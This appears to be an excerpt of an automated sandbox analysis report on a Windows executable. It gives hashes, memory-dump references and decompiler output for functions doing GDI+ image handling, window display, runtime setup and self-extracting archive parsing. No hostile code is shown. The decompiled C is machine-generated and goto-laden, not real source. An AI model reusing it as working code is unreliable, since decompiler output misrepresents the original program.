Opcode ID: 46932cb5ee20fe132bc4cb58273ddd19e0780ded6fc92eec6a98aba678e4302e
Instruction ID: b7bb2ad64314b15e2b393b9e84a21c7782fd1ad953b9bdb304af9569d1f2cb86
Opcode Fuzzy Hash: 46932cb5ee20fe132bc4cb58273ddd19e0780ded6fc92eec6a98aba678e4302e
Instruction Fuzzy Hash: F7E0487690021C6BDB219B99DC08FEBB7ADEF1C791F4440A5B949D3008DA74D944CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 0136938E, Relevance: 3.0, APIs: 2, Instructions: 24
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0136938E(signed int __ecx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int* _t10;
				signed int _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t10 =  &_v8;
				_v8 = __ecx;
				_v8 = _v8 & 0x00000000;
				_push(_t10);
				_push(_a4);
				 *__ecx = 0x1383398;
				if(_a8 == 0) {
					L0136D80E(); // executed
				} else {
					L0136D814();
				}
				 *((intOrPtr*)(_t15 + 8)) = _t10;
				 *(_t15 + 4) = _v8;
				return _t15;
			}

0x01369391
0x01369393
0x01369395
0x01369398
0x0136939b
0x013693a3
0x013693a4
0x013693a7
0x013693ad
0x013693b6
0x013693af
0x013693af
0x013693af
0x013693bb
0x013693c1
0x013693ca

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 013693AF
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 013693B6

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 734948b00dff5d3eb30e2b5e1912b418cdb44f99a7461d4e8b317d0c9f0dddf2
Instruction ID: 5bcf2ec11cdafd51635aa4cc26ecd76c270635cb3d7b46a527c5e6ae87bd6901
Opcode Fuzzy Hash: 734948b00dff5d3eb30e2b5e1912b418cdb44f99a7461d4e8b317d0c9f0dddf2
Instruction Fuzzy Hash: 93E06D71900318EFC720DF98C904799BBFCEB18228F20C05AE88893704D670AE049BA1

Uniqueness

Uniqueness Score: -1.00%

Function 01369B08, Relevance: 3.0, APIs: 2, Instructions: 22
comCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E01369B08(void* __ecx) {
				intOrPtr _v16;
				intOrPtr* _t5;
				void* _t7;
				void* _t11;
				intOrPtr _t14;

				 *[fs:0x0] = _t14;
				_t5 =  *0x13975c0; // 0x73e7c100
				 *((intOrPtr*)( *_t5 + 8))(_t5, _t11,  *[fs:0x0], E01381161, 0xffffffff);
				L0136D826(); // executed
				_t7 =  *0x138dff0( *((intOrPtr*)(__ecx + 4))); // executed
				 *[fs:0x0] = _v16;
				return _t7;
			}

0x01369b19
0x01369b20
0x01369b2b
0x01369b31
0x01369b36
0x01369b3f
0x01369b4a

APIs

GdiplusShutdown.GDIPLUS(?,?,?,01381161,000000FF), ref: 01369B31
OleUninitialize.OLE32(?,?,?,01381161,000000FF), ref: 01369B36

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 1bacc6138dad4321f6dcc635603a9e1494f99d1433f8496830199a8763532aa3
Instruction ID: c29b6c025ee2fe6487685e73502cf0bc0d4d2e876c2f1d829c8a439b7e3b759d
Opcode Fuzzy Hash: 1bacc6138dad4321f6dcc635603a9e1494f99d1433f8496830199a8763532aa3
Instruction Fuzzy Hash: 2EE01A32654644DFC720DB88D845B56BBACFB08B20F044769F81983B94CB356800CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 01371726, Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E01371726(void* __ecx, void* __eflags) {
				intOrPtr _t1;
				void* _t2;
				void* _t9;

				_t1 = E0137281A(__eflags, E0137166A); // executed
				 *0x138d680 = _t1;
				if(_t1 != 0xffffffff) {
					_t2 = E013728C8(__eflags, _t1, 0x13b01dc);
					_pop(_t9);
					__eflags = _t2;
					if(_t2 != 0) {
						return 1;
					} else {
						E01371759(_t9);
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x0137172b
0x01371730
0x01371739
0x01371744
0x0137174a
0x0137174b
0x0137174d
0x01371758
0x0137174f
0x0137174f
0x00000000
0x0137174f
0x0137173b
0x0137173b
0x0137173d
0x0137173d

APIs

Part of subcall function 0137281A: try_get_function.LIBVCRUNTIME ref: 0137282F

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 01371744
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 0137174F

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 60693c29a20bd3674f0adb64c32f1139ba5b35f937cf5aecc27854d83234b5da
Instruction ID: 398fa97b3fa86a5b02bcf4ca9bb38cd25f8fb06edbd3ca4b2d5164e9a34741ef
Opcode Fuzzy Hash: 60693c29a20bd3674f0adb64c32f1139ba5b35f937cf5aecc27854d83234b5da
Instruction Fuzzy Hash: 17D0232754438714CD34367C741094B5B8C841157C7E0474DF030CA5C1FF2D80016115

Uniqueness

Uniqueness Score: -1.00%

Function 013512B2, Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E013512B2(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x013512b9
0x013512ce
0x013512d4

APIs

GetDlgItem.USER32(?,?), ref: 013512C7
ShowWindow.USER32(00000000), ref: 013512CE

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: ce174b1392fb37223c3dfaf1b80b24192e6006882fc00d6c4e66bff103b9350a
Instruction ID: 11bd6d218f467c48428d09298215760e3e674c1881f5b6c1d4956083bf0f12a6
Opcode Fuzzy Hash: ce174b1392fb37223c3dfaf1b80b24192e6006882fc00d6c4e66bff103b9350a
Instruction Fuzzy Hash: 30C01272058200BECF011BB0DC09D2EBBACABA4322F04C908B0A5C0098C238C014EB11

Uniqueness

Uniqueness Score: -1.00%

Function 01351973, Relevance: 1.8, APIs: 1, Instructions: 285
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E01351973(intOrPtr* __ecx, intOrPtr __edx) {
				signed int _t106;
				intOrPtr _t109;
				signed int _t110;
				signed int _t112;
				signed int _t116;
				signed int _t119;
				signed int _t127;
				intOrPtr _t128;
				char _t129;
				char _t138;
				intOrPtr _t143;
				signed int _t144;
				signed int _t145;
				void* _t147;
				signed int _t152;
				signed int _t153;
				signed int _t155;
				void* _t159;
				void* _t160;
				signed int _t166;
				intOrPtr* _t169;
				signed int _t175;
				void* _t176;
				signed int _t178;
				char* _t190;
				intOrPtr _t191;
				intOrPtr _t197;
				intOrPtr* _t199;
				signed int _t202;
				void* _t204;
				char* _t205;
				intOrPtr _t206;
				void* _t207;

				_t197 = __edx;
				_t169 = __ecx;
				E0136D870(E01381451, _t207);
				_t199 = _t169;
				_push(7);
				_t164 = _t199 + 0x21f8;
				_push(_t199 + 0x21f8);
				 *((char*)(_t199 + 0x6cbc)) = 0;
				 *((char*)(_t199 + 0x6cc4)) = 0;
				if( *((intOrPtr*)( *_t199 + 0xc))() == 7) {
					 *(_t199 + 0x6cc0) =  *(_t199 + 0x6cc0) & 0x00000000;
					_t106 = E01351D09(_t164, 7);
					__eflags = _t106;
					if(_t106 == 0) {
						E01356ED7(_t207 - 0x38, 0x200000);
						 *(_t207 - 4) =  *(_t207 - 4) & 0x00000000;
						_t109 =  *((intOrPtr*)( *_t199 + 0x14))();
						_t197 =  *_t199;
						 *((intOrPtr*)(_t207 - 0x18)) = _t109;
						_t110 =  *((intOrPtr*)(_t197 + 0xc))( *((intOrPtr*)(_t207 - 0x38)),  *((intOrPtr*)(_t207 - 0x34)) + 0xfffffff0);
						_t175 = _t110;
						_t202 = 0;
						 *(_t207 - 0x14) = _t175;
						_t166 = 1;
						__eflags = _t175;
						if(_t175 <= 0) {
							L22:
							__eflags =  *(_t199 + 0x6cc0);
							_t176 = _t207 - 0x38;
							if( *(_t199 + 0x6cc0) != 0) {
								_t37 = _t207 - 4; // executed
								 *_t37 =  *(_t207 - 4) | 0xffffffff;
								__eflags =  *_t37;
								E0135159C(_t176); // executed
								L25:
								_t112 =  *(_t199 + 0x6cb0);
								__eflags = _t112 - 4;
								if(__eflags != 0) {
									__eflags = _t112 - 3;
									if(_t112 != 3) {
										 *((intOrPtr*)(_t199 + 0x2200)) = 7;
										L32:
										 *((char*)(_t207 - 0xd)) = 0;
										__eflags = E0135391A(_t199, _t197);
										 *(_t207 - 0xe) = 0;
										__eflags = 0 - 1;
										if(0 != 1) {
											L38:
											_t116 =  *((intOrPtr*)(_t207 - 0xd));
											L39:
											_t178 =  *((intOrPtr*)(_t199 + 0x6cc5));
											__eflags = _t178;
											if(_t178 == 0) {
												L41:
												__eflags =  *((char*)(_t199 + 0x6cc4));
												if( *((char*)(_t199 + 0x6cc4)) != 0) {
													L43:
													__eflags = _t178;
													if(__eflags == 0) {
														E0135134C(__eflags, 0x1b, _t199 + 0x1e);
													}
													__eflags =  *((char*)(_t207 + 8));
													if( *((char*)(_t207 + 8)) != 0) {
														L48:
														__eflags =  *(_t207 - 0xe);
														 *((char*)(_t199 + 0x6cb6)) =  *((intOrPtr*)(_t199 + 0x2224));
														if( *(_t207 - 0xe) == 0) {
															L69:
															__eflags =  *((char*)(_t199 + 0x6cb5));
															if( *((char*)(_t199 + 0x6cb5)) == 0) {
																L71:
																E0135FAB1(_t199 + 0x6cfa, _t199 + 0x1e, 0x800);
																L72:
																_t119 = _t166;
																goto L73;
															}
															__eflags =  *((char*)(_t199 + 0x6cb9));
															if( *((char*)(_t199 + 0x6cb9)) == 0) {
																goto L72;
															}
															goto L71;
														}
														__eflags =  *((char*)(_t199 + 0x21e0));
														if( *((char*)(_t199 + 0x21e0)) == 0) {
															L51:
															_t204 =  *((intOrPtr*)( *_t199 + 0x14))();
															 *((intOrPtr*)(_t207 - 0x24)) = _t197;
															 *((intOrPtr*)(_t207 + 8)) =  *((intOrPtr*)(_t199 + 0x6ca0));
															 *((intOrPtr*)(_t207 - 0x18)) =  *((intOrPtr*)(_t199 + 0x6ca4));
															 *(_t207 - 0x14) =  *(_t199 + 0x6ca8);
															 *((intOrPtr*)(_t207 - 0x1c)) =  *((intOrPtr*)(_t199 + 0x6cac));
															 *((intOrPtr*)(_t207 - 0x20)) =  *((intOrPtr*)(_t199 + 0x21dc));
															while(1) {
																_t127 = E0135391A(_t199, _t197);
																__eflags = _t127;
																if(_t127 == 0) {
																	break;
																}
																_t128 =  *((intOrPtr*)(_t199 + 0x21dc));
																__eflags = _t128 - 3;
																if(_t128 != 3) {
																	__eflags = _t128 - 2;
																	if(_t128 == 2) {
																		__eflags =  *((char*)(_t199 + 0x6cb5));
																		if( *((char*)(_t199 + 0x6cb5)) == 0) {
																			L66:
																			_t129 = 0;
																			__eflags = 0;
																			L67:
																			 *((char*)(_t199 + 0x6cb9)) = _t129;
																			L68:
																			 *((intOrPtr*)(_t199 + 0x6ca0)) =  *((intOrPtr*)(_t207 + 8));
																			 *((intOrPtr*)(_t199 + 0x6ca4)) =  *((intOrPtr*)(_t207 - 0x18));
																			 *(_t199 + 0x6ca8) =  *(_t207 - 0x14);
																			 *((intOrPtr*)(_t199 + 0x6cac)) =  *((intOrPtr*)(_t207 - 0x1c));
																			 *((intOrPtr*)(_t199 + 0x21dc)) =  *((intOrPtr*)(_t207 - 0x20));
																			 *((intOrPtr*)( *_t199 + 0x10))(_t204,  *((intOrPtr*)(_t207 - 0x24)), 0);
																			goto L69;
																		}
																		__eflags =  *((char*)(_t199 + 0x3318));
																		if( *((char*)(_t199 + 0x3318)) != 0) {
																			goto L66;
																		}
																		_t129 = _t166;
																		goto L67;
																	}
																	__eflags = _t128 - 5;
																	if(_t128 == 5) {
																		goto L68;
																	}
																	L60:
																	E01351E3B(_t199);
																	continue;
																}
																__eflags =  *((char*)(_t199 + 0x6cb5));
																if( *((char*)(_t199 + 0x6cb5)) == 0) {
																	L56:
																	_t138 = 0;
																	__eflags = 0;
																	L57:
																	 *((char*)(_t199 + 0x6cb9)) = _t138;
																	goto L60;
																}
																__eflags =  *((char*)(_t199 + 0x5668));
																if( *((char*)(_t199 + 0x5668)) != 0) {
																	goto L56;
																}
																_t138 = _t166;
																goto L57;
															}
															goto L68;
														}
														__eflags =  *((char*)(_t199 + 0x6cbc));
														if( *((char*)(_t199 + 0x6cbc)) != 0) {
															goto L69;
														}
														goto L51;
													} else {
														L46:
														_t119 = 0;
														L73:
														L74:
														 *[fs:0x0] =  *((intOrPtr*)(_t207 - 0xc));
														return _t119;
													}
												}
												__eflags = _t116;
												if(_t116 != 0) {
													goto L48;
												}
												goto L43;
											}
											__eflags =  *((char*)(_t207 + 8));
											if( *((char*)(_t207 + 8)) == 0) {
												goto L46;
											}
											goto L41;
										}
										__eflags = 0;
										 *((char*)(_t207 - 0xd)) = 0;
										while(1) {
											E01351E3B(_t199);
											_t143 =  *((intOrPtr*)(_t199 + 0x21dc));
											__eflags = _t143 - _t166;
											if(_t143 == _t166) {
												break;
											}
											__eflags =  *((char*)(_t199 + 0x21e0));
											if( *((char*)(_t199 + 0x21e0)) == 0) {
												L37:
												_t144 = E0135391A(_t199, _t197);
												__eflags = _t144;
												_t145 = _t144 & 0xffffff00 | _t144 != 0x00000000;
												 *(_t207 - 0xe) = _t145;
												__eflags = _t145 - 1;
												if(_t145 == 1) {
													continue;
												}
												goto L38;
											}
											__eflags = _t143 - 4;
											if(_t143 == 4) {
												break;
											}
											goto L37;
										}
										_t116 = _t166;
										goto L39;
									}
									_t205 = _t199 + 0x21ff;
									_t147 =  *((intOrPtr*)( *_t199 + 0xc))(_t205, _t166);
									__eflags = _t147 - _t166;
									if(_t147 != _t166) {
										goto L46;
									}
									__eflags =  *_t205;
									if( *_t205 != 0) {
										goto L46;
									}
									 *((intOrPtr*)(_t199 + 0x2200)) = 8;
									goto L32;
								}
								E0135134C(__eflags, 0x3c, _t199 + 0x1e);
								goto L46;
							}
							E0135159C(_t176);
							goto L46;
						} else {
							goto L6;
						}
						do {
							L6:
							_t190 =  *((intOrPtr*)(_t207 - 0x38)) + _t202;
							__eflags =  *_t190 - 0x52;
							if( *_t190 != 0x52) {
								goto L17;
							}
							_t152 = E01351D09(_t190, _t110 - _t202);
							__eflags = _t152;
							if(_t152 == 0) {
								L16:
								_t110 =  *(_t207 - 0x14);
								goto L17;
							}
							_t191 =  *((intOrPtr*)(_t207 - 0x18));
							 *(_t199 + 0x6cb0) = _t152;
							__eflags = _t152 - _t166;
							if(_t152 != _t166) {
								L19:
								_t197 =  *_t199;
								_t153 = _t202 + _t191;
								 *(_t199 + 0x6cc0) = _t153;
								 *((intOrPtr*)(_t197 + 0x10))(_t153, 0, 0);
								_t155 =  *(_t199 + 0x6cb0);
								__eflags = _t155 - 2;
								if(_t155 == 2) {
									L21:
									 *((intOrPtr*)( *_t199 + 0xc))(_t199 + 0x21f8, 7);
									goto L22;
								}
								__eflags = _t155 - 3;
								if(_t155 != 3) {
									goto L22;
								}
								goto L21;
							}
							__eflags = _t202;
							if(_t202 <= 0) {
								goto L19;
							}
							__eflags = _t191 - 0x1c;
							if(_t191 >= 0x1c) {
								goto L19;
							}
							__eflags =  *(_t207 - 0x14) - 0x1f;
							if( *(_t207 - 0x14) <= 0x1f) {
								goto L19;
							}
							_t159 =  *((intOrPtr*)(_t207 - 0x38)) - _t191;
							__eflags =  *((char*)(_t159 + 0x1c)) - 0x52;
							if( *((char*)(_t159 + 0x1c)) != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t159 + 0x1d)) - 0x53;
							if( *((char*)(_t159 + 0x1d)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t159 + 0x1e)) - 0x46;
							if( *((char*)(_t159 + 0x1e)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t159 + 0x1f)) - 0x58;
							if( *((char*)(_t159 + 0x1f)) == 0x58) {
								goto L19;
							}
							goto L16;
							L17:
							_t202 = _t202 + 1;
							__eflags = _t202 - _t110;
						} while (_t202 < _t110);
						goto L22;
					}
					 *(_t199 + 0x6cb0) = _t106;
					_t166 = 1;
					__eflags = _t106 - 1;
					if(_t106 == 1) {
						_t206 =  *_t199;
						_t160 =  *((intOrPtr*)(_t206 + 0x14))(0);
						asm("sbb edx, 0x0");
						 *((intOrPtr*)(_t206 + 0x10))(_t160 - 7, _t197);
					}
					goto L25;
				}
				_t119 = 0;
				goto L74;
			}

0x01351973
0x01351973
0x01351978
0x01351982
0x01351984
0x01351988
0x0135198e
0x0135198f
0x01351996
0x013519a3
0x013519ac
0x013519b7
0x013519bc
0x013519be
0x013519f4
0x013519fd
0x01351a01
0x01351a07
0x01351a12
0x01351a15
0x01351a1a
0x01351a1c
0x01351a1e
0x01351a21
0x01351a22
0x01351a24
0x01351ab9
0x01351ab9
0x01351ac0
0x01351ac3
0x01351acf
0x01351acf
0x01351acf
0x01351ad3
0x01351ad8
0x01351ad8
0x01351ade
0x01351ae1
0x01351af3
0x01351af6
0x01351b24
0x01351b2e
0x01351b32
0x01351b3a
0x01351b3f
0x01351b42
0x01351b44
0x01351b7d
0x01351b7d
0x01351b80
0x01351b80
0x01351b86
0x01351b88
0x01351b90
0x01351b90
0x01351b97
0x01351b9d
0x01351b9d
0x01351b9f
0x01351ba7
0x01351ba7
0x01351bac
0x01351bb0
0x01351bbd
0x01351bbd
0x01351bc7
0x01351bcd
0x01351cc5
0x01351cc5
0x01351ccc
0x01351cd7
0x01351ce7
0x01351cec
0x01351cec
0x00000000
0x01351cec
0x01351cce
0x01351cd5
0x00000000
0x00000000
0x00000000
0x01351cd5
0x01351bd3
0x01351bda
0x01351be9
0x01351bf0
0x01351bf2
0x01351bfb
0x01351c04
0x01351c0d
0x01351c16
0x01351c1f
0x01351c60
0x01351c62
0x01351c67
0x01351c69
0x00000000
0x00000000
0x01351c24
0x01351c2a
0x01351c2d
0x01351c4f
0x01351c52
0x01351c6d
0x01351c74
0x01351c83
0x01351c83
0x01351c83
0x01351c85
0x01351c85
0x01351c8b
0x01351c90
0x01351c99
0x01351ca2
0x01351cab
0x01351cb9
0x01351cc2
0x00000000
0x01351cc2
0x01351c76
0x01351c7d
0x00000000
0x00000000
0x01351c7f
0x00000000
0x01351c7f
0x01351c54
0x01351c57
0x00000000
0x00000000
0x01351c59
0x01351c5b
0x00000000
0x01351c5b
0x01351c2f
0x01351c36
0x01351c45
0x01351c45
0x01351c45
0x01351c47
0x01351c47
0x00000000
0x01351c47
0x01351c38
0x01351c3f
0x00000000
0x00000000
0x01351c41
0x00000000
0x01351c41
0x00000000
0x01351c6b
0x01351bdc
0x01351be3
0x00000000
0x00000000
0x00000000
0x01351bb2
0x01351bb2
0x01351bb2
0x01351cee
0x01351cef
0x01351cf4
0x01351cfe
0x01351cfe
0x01351bb0
0x01351b99
0x01351b9b
0x00000000
0x00000000
0x00000000
0x01351b9b
0x01351b8a
0x01351b8e
0x00000000
0x00000000
0x00000000
0x01351b8e
0x01351b46
0x01351b48
0x01351b4b
0x01351b4d
0x01351b52
0x01351b58
0x01351b5a
0x00000000
0x00000000
0x01351b5c
0x01351b63
0x01351b6a
0x01351b6c
0x01351b71
0x01351b73
0x01351b76
0x01351b79
0x01351b7b
0x00000000
0x00000000
0x00000000
0x01351b7b
0x01351b65
0x01351b68
0x00000000
0x00000000
0x00000000
0x01351b68
0x01351bb9
0x00000000
0x01351bb9
0x01351afa
0x01351b04
0x01351b07
0x01351b09
0x00000000
0x00000000
0x01351b0f
0x01351b12
0x00000000
0x00000000
0x01351b18
0x00000000
0x01351b18
0x01351ae9
0x00000000
0x01351ae9
0x01351ac5
0x00000000
0x00000000
0x00000000
0x00000000
0x01351a2a
0x01351a2a
0x01351a2d
0x01351a2f
0x01351a32
0x00000000
0x00000000
0x01351a38
0x01351a3d
0x01351a3f
0x01351a7a
0x01351a7a
0x00000000
0x01351a7a
0x01351a41
0x01351a44
0x01351a4a
0x01351a4c
0x01351a84
0x01351a84
0x01351a86
0x01351a90
0x01351a96
0x01351a99
0x01351a9f
0x01351aa2
0x01351aa9
0x01351ab6
0x00000000
0x01351ab6
0x01351aa4
0x01351aa7
0x00000000
0x00000000
0x00000000
0x01351aa7
0x01351a4e
0x01351a50
0x00000000
0x00000000
0x01351a52
0x01351a55
0x00000000
0x00000000
0x01351a57
0x01351a5b
0x00000000
0x00000000
0x01351a60
0x01351a62
0x01351a66
0x00000000
0x00000000
0x01351a68
0x01351a6c
0x00000000
0x00000000
0x01351a6e
0x01351a72
0x00000000
0x00000000
0x01351a74
0x01351a78
0x00000000
0x00000000
0x00000000
0x01351a7d
0x01351a7d
0x01351a7e
0x01351a7e
0x00000000
0x01351a82
0x013519c2
0x013519c8
0x013519c9
0x013519cb
0x013519d1
0x013519d7
0x013519df
0x013519e4
0x013519e4
0x00000000
0x013519cb
0x013519a5
0x00000000

APIs

__EH_prolog.LIBCMT ref: 01351978

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: d44496f6e0eb9da8e3f0f2df600e81ea9f9b3d98764112191e70e9636bc28a33
Instruction ID: c63489efcb6cf0222cc43d2e0ed59dba74b7b88d51d5688684b00cfee96b19ad
Opcode Fuzzy Hash: d44496f6e0eb9da8e3f0f2df600e81ea9f9b3d98764112191e70e9636bc28a33
Instruction Fuzzy Hash: 9DB1F170B00646AFEFAACF7CC484FB9FBE5BF05A08F040259D95993281D771A964CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013581C4, Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013581C4(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t47;
				signed int _t50;
				signed int _t51;
				void* _t53;
				signed int _t55;
				signed int _t61;
				intOrPtr _t73;
				signed int _t80;
				intOrPtr _t88;
				void* _t89;
				void* _t91;
				intOrPtr _t93;
				void* _t95;
				void* _t98;

				_t98 = __eflags;
				_t90 = __edi;
				_t88 = __edx;
				_t73 = __ecx;
				E0136D870(E013812D2, _t95);
				E0136D940();
				_t93 = _t73;
				_t1 = _t95 - 0x9d58; // -38232
				E0135137D(_t1, _t88, __edi, _t98,  *(_t93 + 8));
				 *(_t95 - 4) =  *(_t95 - 4) & 0x00000000;
				_t6 = _t95 - 0x9d58; // -38232
				if(E01359C0E(_t6, _t93 + 0xf4) != 0) {
					_t7 = _t95 - 0x9d58; // -38232, executed
					_t47 = E01351973(_t7, _t88, 1); // executed
					if(_t47 != 0) {
						__eflags =  *((char*)(_t95 - 0x3093));
						if( *((char*)(_t95 - 0x3093)) == 0) {
							_push(__edi);
							_t91 = 0;
							__eflags =  *(_t95 - 0x30a3);
							if( *(_t95 - 0x30a3) != 0) {
								_t10 = _t95 - 0x9d3a; // -38202
								_t11 = _t95 - 0x1010; // -2064
								_t61 = E0135FAB1(_t11, _t10, 0x800);
								__eflags =  *(_t95 - 0x309e);
								while(1) {
									_t17 = _t95 - 0x1010; // -2064
									E0135B782(_t17, 0x800, (_t61 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
									_t18 = _t95 - 0x2058; // -6232
									E01356EF9(_t18);
									_push(0);
									_t19 = _t95 - 0x2058; // -6232
									_t20 = _t95 - 0x1010; // -2064
									_t61 = E0135A1B1(_t18, _t88, __eflags, _t20, _t19);
									__eflags = _t61;
									if(_t61 == 0) {
										break;
									}
									_t91 = _t91 +  *((intOrPtr*)(_t95 - 0x1058));
									asm("adc ebx, [ebp-0x1054]");
									__eflags =  *(_t95 - 0x309e);
								}
								 *((intOrPtr*)(_t93 + 0x98)) =  *((intOrPtr*)(_t93 + 0x98)) + _t91;
								asm("adc [esi+0x9c], ebx");
							}
							_t23 = _t95 - 0x9d58; // -38232
							E0135835C(_t93, _t88, _t23);
							_t50 =  *(_t93 + 8);
							_t89 = 0x49;
							_pop(_t90);
							_t80 =  *(_t50 + 0x82f2) & 0x0000ffff;
							__eflags = _t80 - 0x54;
							if(_t80 == 0x54) {
								L11:
								 *((char*)(_t50 + 0x61f9)) = 1;
							} else {
								__eflags = _t80 - _t89;
								if(_t80 == _t89) {
									goto L11;
								}
							}
							_t51 =  *(_t93 + 8);
							__eflags =  *((intOrPtr*)(_t51 + 0x82f2)) - _t89;
							if( *((intOrPtr*)(_t51 + 0x82f2)) != _t89) {
								__eflags =  *((char*)(_t51 + 0x61f9));
								_t32 =  *((char*)(_t51 + 0x61f9)) == 0;
								__eflags =  *((char*)(_t51 + 0x61f9)) == 0;
								E01360FBD((_t51 & 0xffffff00 | _t32) & 0x000000ff, (_t51 & 0xffffff00 | _t32) & 0x000000ff, _t93 + 0xf4);
							}
							_t33 = _t95 - 0x9d58; // -38232
							E01351E4F(_t33, _t89);
							do {
								_t34 = _t95 - 0x9d58; // -38232
								_t53 = E0135391A(_t34, _t89);
								_t35 = _t95 - 0xd; // 0x7f3
								_t36 = _t95 - 0x9d58; // -38232
								_t55 = E013583C0(_t93, _t36, _t53, _t35); // executed
								__eflags = _t55;
							} while (_t55 != 0);
						}
					} else {
						E01356E03(0x13900e0, 1);
					}
				}
				_t37 = _t95 - 0x9d58; // -38232, executed
				E0135162D(_t37, _t90, _t93); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t95 - 0xc));
				return 0;
			}

0x013581c4
0x013581c4
0x013581c4
0x013581c4
0x013581c9
0x013581d3
0x013581d9
0x013581db
0x013581e4
0x013581e9
0x013581f4
0x01358201
0x01358209
0x0135820f
0x01358216
0x01358229
0x01358230
0x01358237
0x0135823a
0x0135823c
0x01358242
0x01358249
0x01358250
0x01358257
0x0135825c
0x01358277
0x01358283
0x0135828a
0x0135828f
0x01358295
0x0135829a
0x0135829c
0x013582a3
0x013582aa
0x013582af
0x013582b1
0x00000000
0x00000000
0x01358264
0x0135826a
0x01358270
0x01358270
0x013582b3
0x013582b9
0x013582b9
0x013582bf
0x013582c8
0x013582cd
0x013582d2
0x013582d3
0x013582d4
0x013582dc
0x013582df
0x013582e6
0x013582e6
0x013582e1
0x013582e1
0x013582e4
0x00000000
0x00000000
0x013582e4
0x013582ed
0x013582f0
0x013582f7
0x013582f9
0x01358307
0x01358307
0x0135830e
0x0135830e
0x01358313
0x01358319
0x0135831e
0x0135831e
0x01358324
0x01358329
0x0135832e
0x01358337
0x0135833c
0x0135833c
0x0135831e
0x01358218
0x0135821f
0x0135821f
0x01358216
0x01358340
0x01358346
0x01358351
